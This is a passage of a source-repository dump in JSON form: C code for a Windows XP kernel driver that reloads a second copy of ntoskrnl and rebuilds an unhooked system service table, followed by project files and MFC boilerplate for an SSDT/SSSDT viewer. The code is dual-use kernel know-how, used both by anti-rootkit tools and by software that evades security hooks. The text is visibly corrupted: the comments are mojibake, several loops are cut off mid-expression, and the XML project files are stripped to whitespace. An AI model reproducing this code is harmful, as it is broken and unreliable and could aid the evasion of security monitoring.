KernelModuleBase)\r\n{\r\n UNICODE_STRING FileName;\r\n HANDLE hSection;\r\n PDWORD FixdOriginalKiServiceTable;\r\n PDWORD CsRootkitOriginalKiServiceTable;\r\n ULONG i = 0;\r\n\r\n\r\n //Լpeload һntos*ͽ˸ȫijͻ~\r\n if (!PeLoad(SystemModulePath, (BYTE**)&ImageModuleBase,pDriverObject,KernelModuleBase))\r\n {\r\n return FALSE;\r\n }\r\n\r\n OriginalKiServiceTable = (DWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n if (!OriginalKiServiceTable)\r\n {\r\n return FALSE;\r\n }\r\n //SSDTַͨضλȽϵõ\r\n if(!GetOriginalKiServiceTable((BYTE*)ImageModuleBase,KernelModuleBase,&OriginalKiServiceTable))\r\n {\r\n ExFreePool((PVOID)OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n\r\n //޸SSDTַ ԼReloadĺַ ɾ\r\n FixOriginalKiServiceTable((PDWORD)OriginalKiServiceTable,(DWORD)ImageModuleBase,KernelModuleBase);\r\n\r\n OriginalServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n if (OriginalServiceDescriptorTable == NULL)\r\n {\r\n ExFreePool((PVOID)OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n RtlZeroMemory(OriginalServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n\r\n //޸SERVICE_DESCRIPTOR_TABLE ṹ \r\n OriginalServiceDescriptorTable->ServiceTable = (PDWORD)OriginalKiServiceTable;\r\n OriginalServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;\r\n OriginalServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;\r\n OriginalServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;\r\n\r\n CsRootkitOriginalKiServiceTable = (PDWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n if (CsRootkitOriginalKiServiceTable==NULL)\r\n {\r\n ExFreePool(OriginalServiceDescriptorTable);\r\n ExFreePool((PVOID)OriginalKiServiceTable);\r\n return FALSE;\r\n\r\n }\r\n RtlZeroMemory(CsRootkitOriginalKiServiceTable,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n\r\n Safe_ServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n if (Safe_ServiceDescriptorTable == NULL)\r\n {\r\n ExFreePool(OriginalServiceDescriptorTable);\r\n ExFreePool(CsRootkitOriginalKiServiceTable);\r\n ExFreePool((PVOID)OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n //һɾԭʼÿӦSSDTĵַԭʼ\r\n RtlZeroMemory(Safe_ServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n\r\n //ԭʼַ\r\n for (i=0;iTableSize;i++)\r\n {\r\n CsRootkitOriginalKiServiceTable[i] = OriginalServiceDescriptorTable->ServiceTable[i];\r\n }\r\n Safe_ServiceDescriptorTable->ServiceTable = (PDWORD)CsRootkitOriginalKiServiceTable;\r\n Safe_ServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;\r\n Safe_ServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;\r\n Safe_ServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;\r\n\r\n //ͷžͻbsod\r\n //ExFreePool(OriginalKiServiceTable);\r\n \r\n return TRUE;\r\n}\r\n\r\n\r\nVOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase)\r\n{\r\n DWORD FuctionCount;\r\n DWORD Index;\r\n FuctionCount=KeServiceDescriptorTable->TableSize; //\r\n \r\n KdPrint((\"ssdt funcion count:%X---KiServiceTable:%X\\n\",FuctionCount,KeServiceDescriptorTable->ServiceTable)); \r\n for (Index=0;Indexe_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n ImageNtHeaders=(PIMAGE_NT_HEADERS)(NewImageBase+ImageDosHeader->e_lfanew);\r\n if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n KeServiceDescriptorTableRva=(DWORD)MiFindExportedRoutine(NewImageBase,TRUE,\"KeServiceDescriptorTable\",0);\r\n if (KeServiceDescriptorTableRva==0)\r\n {\r\n return FALSE;\r\n }\r\n\r\n KeServiceDescriptorTableRva=KeServiceDescriptorTableRva-(DWORD)NewImageBase;\r\n ImageBaseReloc=RtlImageDirectoryEntryToData(NewImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocSize);\r\n if (ImageBaseReloc==NULL)\r\n {\r\n return FALSE;\r\n }\r\n\r\n while (ImageBaseReloc->SizeOfBlock)\r\n { \r\n count++;\r\n ItemCount=(ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2;\r\n TypeOffset=(WORD*)((DWORD)ImageBaseReloc+sizeof(IMAGE_BASE_RELOCATION));\r\n for (Index=0;Index>12; //4λ 12λλҳƫ 4k \r\n if (Type==3)\r\n {\r\n //Base + Virtual λҳ + 12λ = RelocAddress Ҫ޸ĵַ\r\n RelocAddress=(PDWORD)((DWORD)(TypeOffset[Index]&0x0fff)+ImageBaseReloc->VirtualAddress+(DWORD)NewImageBase);\r\n RvaData=*RelocAddress-ExistImageBase;\r\n \r\n if (RvaData==KeServiceDescriptorTableRva) //ضλеrva KeServiceDescriptorTable \r\n {\r\n if(*(USHORT*)((DWORD)RelocAddress-2)==0x05c7)\r\n {\r\n /*\r\n 1: kd> dd 0x89651c12 RelocAddress - 2\r\n 89651c12 79c005c7 bd9c83f8 \r\n\r\n 1: kd> dd KeServiceDescriptorTable \r\n 83f879c0 83e9bd9c 00000000 00000191 83e9c3e4\r\n 83f879d0 00000000 00000000 00000000 00000000\r\n \r\n 1: kd> dd 0x89651c14 RelocAddress\r\n 89651c14 83f879c0 83e9bd9c 79c41589 c8a383f8\r\n 89651c24 c783f879 f879cc05 e9c3e483 d8158983\r\n */\r\n //RelocAddress KeServiceDesriptorTableַ \r\n //RelocAddress + 4 KeServiceDesriptorTableһԱҲSSDTַ\r\n *NewKiServiceTable=*(DWORD*)((DWORD)RelocAddress+4)-ExistImageBase+(DWORD)NewImageBase;\r\n return TRUE;\r\n }\r\n }\r\n\r\n }\r\n\r\n }\r\n ImageBaseReloc=(PIMAGE_BASE_RELOCATION)((DWORD)ImageBaseReloc+ImageBaseReloc->SizeOfBlock);\r\n }\r\n\r\n return FALSE;\r\n}\r\n\r\n\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n DbgPrint(\"UnloadDriver\\r\\n\");\r\n}" }, { "path": "ReloadKernel-XP/ReloadKernel/Reload.h", "content": "#include \r\n#include \r\n#include \r\n\r\n#pragma once\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned short WORD, *PWORD;\r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject);\r\n\r\ntypedef struct _SYSTEM_MODULE_INFORMATION // ϵͳģϢ\r\n{\r\n ULONG Reserved[2]; \r\n ULONG Base; \r\n ULONG Size; \r\n ULONG Flags; \r\n USHORT Index; \r\n USHORT Unknown; \r\n USHORT LoadCount; \r\n USHORT ModuleNameOffset;\r\n CHAR ImageName[256]; \r\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\r\n\r\ntypedef struct _tagSysModuleList { //ģṹ\r\n ULONG ulCount;\r\n SYSTEM_MODULE_INFORMATION smi[1];\r\n} MODULES, *PMODULES;\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS \r\n{ \r\n SystemBasicInformation, // 0 Y N \r\n SystemProcessorInformation, // 1 Y N \r\n SystemPerformanceInformation, // 2 Y N \r\n SystemTimeOfDayInformation, // 3 Y N \r\n SystemNotImplemented1, // 4 Y N \r\n SystemProcessesAndThreadsInformation, // 5 Y N \r\n SystemCallCounts, // 6 Y N \r\n SystemConfigurationInformation, // 7 Y N \r\n SystemProcessorTimes, // 8 Y N \r\n SystemGlobalFlag, // 9 Y Y \r\n SystemNotImplemented2, // 10 Y N \r\n SystemModuleInformation, // 11 Y N \r\n SystemLockInformation, // 12 Y N \r\n SystemNotImplemented3, // 13 Y N \r\n SystemNotImplemented4, // 14 Y N \r\n SystemNotImplemented5, // 15 Y N \r\n SystemHandleInformation, // 16 Y N \r\n SystemObjectInformation, // 17 Y N \r\n SystemPagefileInformation, // 18 Y N \r\n SystemInstructionEmulationCounts, // 19 Y N \r\n SystemInvalidInfoClass1, // 20 \r\n SystemCacheInformation, // 21 Y Y \r\n SystemPoolTagInformation, // 22 Y N \r\n SystemProcessorStatistics, // 23 Y N \r\n SystemDpcInformation, // 24 Y Y \r\n SystemNotImplemented6, // 25 Y N \r\n SystemLoadImage, // 26 N Y \r\n SystemUnloadImage, // 27 N Y \r\n SystemTimeAdjustment, // 28 Y Y \r\n SystemNotImplemented7, // 29 Y N \r\n SystemNotImplemented8, // 30 Y N \r\n SystemNotImplemented9, // 31 Y N \r\n SystemCrashDumpInformation, // 32 Y N \r\n SystemExceptionInformation, // 33 Y N \r\n SystemCrashDumpStateInformation, // 34 Y Y/N \r\n SystemKernelDebuggerInformation, // 35 Y N \r\n SystemContextSwitchInformation, // 36 Y N \r\n SystemRegistryQuotaInformation, // 37 Y Y \r\n SystemLoadAndCallImage, // 38 N Y \r\n SystemPrioritySeparation, // 39 N Y \r\n SystemNotImplemented10, // 40 Y N \r\n SystemNotImplemented11, // 41 Y N \r\n SystemInvalidInfoClass2, // 42 \r\n SystemInvalidInfoClass3, // 43 \r\n SystemTimeZoneInformation, // 44 Y N \r\n SystemLookasideInformation, // 45 Y N \r\n SystemSetTimeSlipEvent, // 46 N Y \r\n SystemCreateSession, // 47 N Y \r\n SystemDeleteSession, // 48 N Y \r\n SystemInvalidInfoClass4, // 49 \r\n SystemRangeStartInformation, // 50 Y N \r\n SystemVerifierInformation, // 51 Y Y \r\n SystemAddVerifier, // 52 N Y \r\n SystemSessionProcessesInformation // 53 Y N \r\n} SYSTEM_INFORMATION_CLASS; \r\n\r\n#define LDRP_RELOCATION_FINAL 0x2\r\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001)\r\n\r\n\r\ntypedef struct _AUX_ACCESS_DATA {\r\n PPRIVILEGE_SET PrivilegesUsed;\r\n GENERIC_MAPPING GenericMapping;\r\n ACCESS_MASK AccessesToAudit;\r\n ACCESS_MASK MaximumAuditMask;\r\n ULONG Unknown[41];\r\n} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA;\r\n\r\n\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY\r\n{\r\n LIST_ENTRY InLoadOrderLinks;\r\n LIST_ENTRY InMemoryOrderLinks;\r\n LIST_ENTRY InInitializationOrderLinks;\r\n PVOID DllBase;\r\n PVOID EntryPoint;\r\n ULONG SizeOfImage;\r\n UNICODE_STRING FullDllName;\r\n UNICODE_STRING BaseDllName;\r\n ULONG Flags;\r\n USHORT LoadCount;\r\n USHORT TlsIndex;\r\n union\r\n {\r\n LIST_ENTRY HashLinks;\r\n struct\r\n {\r\n PVOID SectionPointer;\r\n ULONG CheckSum;\r\n };\r\n };\r\n union\r\n {\r\n ULONG TimeDateStamp;\r\n PVOID LoadedImports;\r\n };\r\n PVOID EntryPointActivationContext;\r\n PVOID PatchInformation;\r\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\r\n// typedef struct _IMAGE_BASE_RELOCATION {\r\n// DWORD VirtualAddress;\r\n// DWORD SizeOfBlock;\r\n// // WORD TypeOffset[1];\r\n// } IMAGE_BASE_RELOCATION,*PIMAGE_BASE_RELOCATION;\r\n// typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;\r\n\r\ntypedef struct _SERVICE_DESCRIPTOR_TABLE {\r\n /*\r\n * Table containing cServices elements of pointers to service handler\r\n * functions, indexed by service ID.\r\n */\r\n PDWORD ServiceTable;\r\n /*\r\n * Table that counts how many times each service is used. This table\r\n * is only updated in checked builds.\r\n */\r\n PULONG CounterTable;\r\n /*\r\n * Number of services contained in this table.\r\n */\r\n ULONG TableSize;\r\n /*\r\n * Table containing the number of bytes of parameters the handler\r\n * function takes.\r\n */\r\n PUCHAR ArgumentTable;\r\n} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;\r\nNTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress);\r\n\r\nNTSTATUS\r\n NTAPI\r\n ZwQuerySystemInformation(\r\n IN SYSTEM_INFORMATION_CLASS SystemInfoClass,\r\n OUT PVOID SystemInfoBuffer,\r\n IN ULONG SystemInfoBufferSize,\r\n OUT PULONG BytesReturned OPTIONAL\r\n );\r\nNTSTATUS\r\n NTAPI\r\n ObCreateObject (\r\n IN KPROCESSOR_MODE ObjectAttributesAccessMode OPTIONAL,\r\n IN POBJECT_TYPE ObjectType,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\r\n IN KPROCESSOR_MODE AccessMode,\r\n IN OUT PVOID ParseContext OPTIONAL,\r\n IN ULONG ObjectSize,\r\n IN ULONG PagedPoolCharge OPTIONAL,\r\n IN ULONG NonPagedPoolCharge OPTIONAL,\r\n OUT PVOID *Object\r\n );\r\n\r\n\r\nNTSTATUS\r\n NTAPI\r\n SeCreateAccessState(\r\n PACCESS_STATE AccessState,\r\n PAUX_ACCESS_DATA AuxData,\r\n ACCESS_MASK Access,\r\n PGENERIC_MAPPING GenericMapping\r\n );\r\n\r\n\r\nNTSYSAPI\r\n PVOID\r\n NTAPI\r\n RtlImageDirectoryEntryToData (\r\n IN PVOID Base,\r\n IN BOOLEAN MappedAsImage,\r\n IN USHORT DirectoryEntry,\r\n OUT PULONG Size\r\n );\r\n\r\nBOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase);\r\n\r\n\r\n\r\n\r\ntypedef VOID (__stdcall *ReloadRtlInitUnicodeString)(\r\n __inout PUNICODE_STRING DestinationString,\r\n __in_opt PCWSTR SourceString\r\n );\r\nReloadRtlInitUnicodeString RRtlInitUnicodeString;\r\n\r\ntypedef LONG (__stdcall * ReloadRtlCompareUnicodeString)(\r\n __in PCUNICODE_STRING String1,\r\n __in PCUNICODE_STRING String2,\r\n __in BOOLEAN CaseInSensitive\r\n );\r\nReloadRtlCompareUnicodeString RRtlCompareUnicodeString;\r\n\r\n\r\ntypedef PVOID (__stdcall *ReloadMmGetSystemRoutineAddress)(\r\n __in PUNICODE_STRING SystemRoutineName\r\n );\r\nReloadMmGetSystemRoutineAddress RMmGetSystemRoutineAddress;\r\n\r\n\r\n\r\ntypedef BOOLEAN (__stdcall * ReloadMmIsAddressValid)(\r\n __in PVOID VirtualAddress\r\n );\r\nReloadMmIsAddressValid RMmIsAddressValid;\r\n\r\n\r\ntypedef PEPROCESS (__stdcall *ReloadPsGetCurrentProcess)(void);\r\nReloadPsGetCurrentProcess RPsGetCurrentProcess;\r\n\r\nBOOLEAN GetOriginalKiServiceTable(BYTE *NewImageBase,DWORD ExistImageBase,DWORD *NewKiServiceTable);\r\nVOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase);" }, { "path": "ReloadKernel-XP/ReloadKernel/ReloadKernel.filters", "content": "\r\n\r\n \r\n \r\n \r\n \r\n Version\r\n \r\n \r\n 主\r\n \r\n \r\n 主\r\n \r\n \r\n Modules\r\n \r\n \r\n Other\r\n \r\n \r\n Hook\r\n \r\n \r\n Hook\r\n \r\n \r\n \r\n \r\n {1a80e802-9dc2-4604-85cc-6da6dcc0e5d3}\r\n \r\n \r\n {0937d5a0-a3b3-400f-9fd1-92a70919c74c}\r\n \r\n \r\n {9241517a-1236-4442-8064-25f83e311a3a}\r\n \r\n \r\n {2cd24aae-61e9-4fa9-9b35-942f2a8c7c39}\r\n \r\n \r\n {80f98e2e-5c61-4bc0-ab89-149b72cc73ce}\r\n \r\n \r\n \r\n \r\n Version\r\n \r\n \r\n Modules\r\n \r\n \r\n Other\r\n \r\n \r\n Hook\r\n \r\n \r\n Hook\r\n \r\n \r\n \r\n \r\n 主\r\n \r\n \r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/ReloadKernel.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"Duba\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/ReloadKernel.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {dda38ee4-2321-4f21-8ba0-414d081a97e7}\r\n \r\n \r\n {58661049-a681-4b2a-99a5-57d348905fcf}\r\n \r\n \r\n {aa064d5f-b0b9-4817-b71a-b701ea68a2d7}\r\n \r\n \r\n \r\n \r\n DriverEntry\r\n \r\n \r\n DriverEntry\\KernelReload\r\n \r\n \r\n DriverEntry\\FileSystem\r\n \r\n \r\n DriverEntry\\FixRelocation\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n DriverEntry\r\n \r\n \r\n DriverEntry\\KernelReload\r\n \r\n \r\n DriverEntry\\FileSystem\r\n \r\n \r\n DriverEntry\\FixRelocation\r\n \r\n \r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/sources", "content": "TARGETNAME=ReloadKernel\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES= \\\r\n Reload.c \\\r\n FixRelocation.c \\\r\n FileSystem.c \\\r\n KernelReload.c" }, { "path": "ReloadKernel-XP/ReloadKernel.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ReloadKernel\", \"ReloadKernel\\ReloadKernel.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tRelease|Win32 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManager.cpp", "content": "\r\n// EnumSSSDTManager.cpp : ӦóΪ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"EnumSSSDTManager.h\"\r\n#include \"EnumSSSDTManagerDlg.h\"\r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// CEnumSSSDTManagerApp\r\n\r\nBEGIN_MESSAGE_MAP(CEnumSSSDTManagerApp, CWinApp)\r\n\tON_COMMAND(ID_HELP, &CWinApp::OnHelp)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CEnumSSSDTManagerApp \r\n\r\nCEnumSSSDTManagerApp::CEnumSSSDTManagerApp()\r\n{\r\n\t// ֧\r\n\tm_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;\r\n\r\n\t// TODO: ڴ˴ӹ룬\r\n\t// Ҫijʼ InitInstance \r\n}\r\n\r\n\r\n// Ψһһ CEnumSSSDTManagerApp \r\n\r\nCEnumSSSDTManagerApp theApp;\r\n\r\n\r\n// CEnumSSSDTManagerApp ʼ\r\n\r\nBOOL CEnumSSSDTManagerApp::InitInstance()\r\n{\r\n\t// һ Windows XP ϵӦó嵥ָҪ\r\n\t// ʹ ComCtl32.dll 汾 6 ߰汾ÿӻʽ\r\n\t//Ҫ InitCommonControlsEx()򣬽޷ڡ\r\n\tINITCOMMONCONTROLSEX InitCtrls;\r\n\tInitCtrls.dwSize = sizeof(InitCtrls);\r\n\t// ΪҪӦóʹõ\r\n\t// ؼࡣ\r\n\tInitCtrls.dwICC = ICC_WIN95_CLASSES;\r\n\tInitCommonControlsEx(&InitCtrls);\r\n\r\n\tCWinApp::InitInstance();\r\n\r\n\r\n\tAfxEnableControlContainer();\r\n\r\n\t// shell ԷԻ\r\n\t// κ shell ͼؼ shell бͼؼ\r\n\tCShellManager *pShellManager = new CShellManager;\r\n\r\n\t// ׼ʼ\r\n\t// δʹЩܲϣС\r\n\t// տִļĴСӦƳ\r\n\t// Ҫضʼ\r\n\t// ڴ洢õע\r\n\t// TODO: Ӧʵ޸ĸַ\r\n\t// ޸Ϊ˾֯\r\n\tSetRegistryKey(_T(\"ӦóɵıӦó\"));\r\n\r\n\tCEnumSSSDTManagerDlg dlg;\r\n\tm_pMainWnd = &dlg;\r\n\tINT_PTR nResponse = dlg.DoModal();\r\n\tif (nResponse == IDOK)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȷرնԻĴ\r\n\t}\r\n\telse if (nResponse == IDCANCEL)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȡرնԻĴ\r\n\t}\r\n\r\n\t// ɾ洴 shell \r\n\tif (pShellManager != NULL)\r\n\t{\r\n\t\tdelete pShellManager;\r\n\t}\r\n\r\n\t// ڶԻѹرգԽ FALSE Ա˳Ӧó\r\n\t// ӦóϢá\r\n\treturn FALSE;\r\n}\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManager.h", "content": "\r\n// EnumSSSDTManager.h : PROJECT_NAME Ӧóͷļ\r\n//\r\n\r\n#pragma once\r\n\r\n#ifndef __AFXWIN_H__\r\n\t#error \"ڰļ֮ǰstdafx.h PCH ļ\"\r\n#endif\r\n\r\n#include \"resource.h\"\t\t// \r\n\r\n\r\n// CEnumSSSDTManagerApp:\r\n// йشʵ֣ EnumSSSDTManager.cpp\r\n//\r\n\r\nclass CEnumSSSDTManagerApp : public CWinApp\r\n{\r\npublic:\r\n\tCEnumSSSDTManagerApp();\r\n\r\n// д\r\npublic:\r\n\tvirtual BOOL InitInstance();\r\n\r\n// ʵ\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nextern CEnumSSSDTManagerApp theApp;" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManager.idc", "content": "\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManager.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {410AA387-C177-4012-8441-B3508905A32E}\r\n EnumSSSDTManager\r\n MFCProj\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n false\r\n true\r\n _DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n _DEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n false\r\n _DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n _DEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n false\r\n true\r\n NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n NDEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n false\r\n NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n NDEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/EnumSSSDTManager.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n {25d9d799-d717-48d9-92c9-9221deb0371c}\r\n \r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n 资源文件\r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": 